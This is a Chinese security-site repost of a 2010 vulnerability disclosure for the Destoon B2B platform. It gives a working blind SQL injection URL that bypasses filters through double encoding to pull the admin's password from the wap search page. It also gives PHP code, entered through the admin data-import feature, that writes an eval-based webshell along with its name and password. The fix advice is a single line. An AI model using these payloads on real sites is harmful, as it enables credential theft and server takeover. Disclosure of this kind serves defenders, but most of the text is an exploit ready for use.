频道栏目
首页 > 资讯 > 网站安全 > 正文

Destoon B2B SQL注射和后台代码执行及修复

10-11-12        来源:[db:作者]  
收藏   我要投稿
在公布漏洞之前我严重的鄙视下Destoon官方的客服QQ:537074901
我跟她说了你们的系统出漏洞,后果很严重。
一直回我:“非商业用户没有任何技术支持,您有问题可以在论坛发帖”意思是叫我公开漏洞的意思



SQL注射:

位于搜索页面,使用了urldecode函数,导致两次编码即可绕过。
但是过滤了空格等字符,使用%09继续突破,再次被堵住在长度问题上,
有好多个地方都验证了查询的关键词的长度,好的是 wap/ 目录没有验证。




EXP:

http://localhost/destoon/wap/index.php?moduleid=5&kw=a%2525%2527%09and%09ascii(substring((Select%09username | password%09FROM%09destoon_member%09Where%09userid=1),1,1))=0x61%23


后台获取Shell:

数据导入 —> 操作下面的“修改” —> 在最下面的“PHP处理代码” PHP代码里自己写代码。
因为前面有一些信息要填写,所以我之前论坛有人问后台怎么拿shell的时候我回答是:
本地mysql开启外联。(保证信息正确,这句话我没说 - -!)

代码例如:

$File = "fjhgx.php";
$fh = fopen($File, w) or die("不能打开文件,By:俺是农村的。");
$CString = "eval ($_POST[fjhgx]); echo "GMail:bugtosafe@gmail.com";";
fwrite($fh, $CString);
fclose($fh);



点击保存。


此时PHP代码,写入到D:wwwdestoonfiledata + 配置名称 + .inc.php
因为写文件的时候让会自动在头部加上
<?php defined(IN_DESTOON) or exit(Access Denied);
所以直接访问是无效的。解决方法如下:

然后访问:
http://127.0.0.1/destoon/admin.p ... e=phpwind7.5_member(phpwind7.5_member是配置名称)
会自动调用 配置名称 + .inc.php 这个文件,也就生成了小马

fjhgx.php,密码:fjhgx

Thanks for T-ice && 2010-11-11 11:11:11这个特别的日子。

发布日期:2010-11.11
发布作者:fjhgx (俺是农村的)
漏洞类型:SQL注射 && 后台代码执行

www.2cto.com修复方案说明:

这个没什么好说的,针对上面的问题对wap目录进行验证即可


 

相关TAG标签
上一篇:FCKeditor 2.0-2.4.3漏洞Exp及修复
下一篇:为安全而战:卡巴斯基安全部队训练手册
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站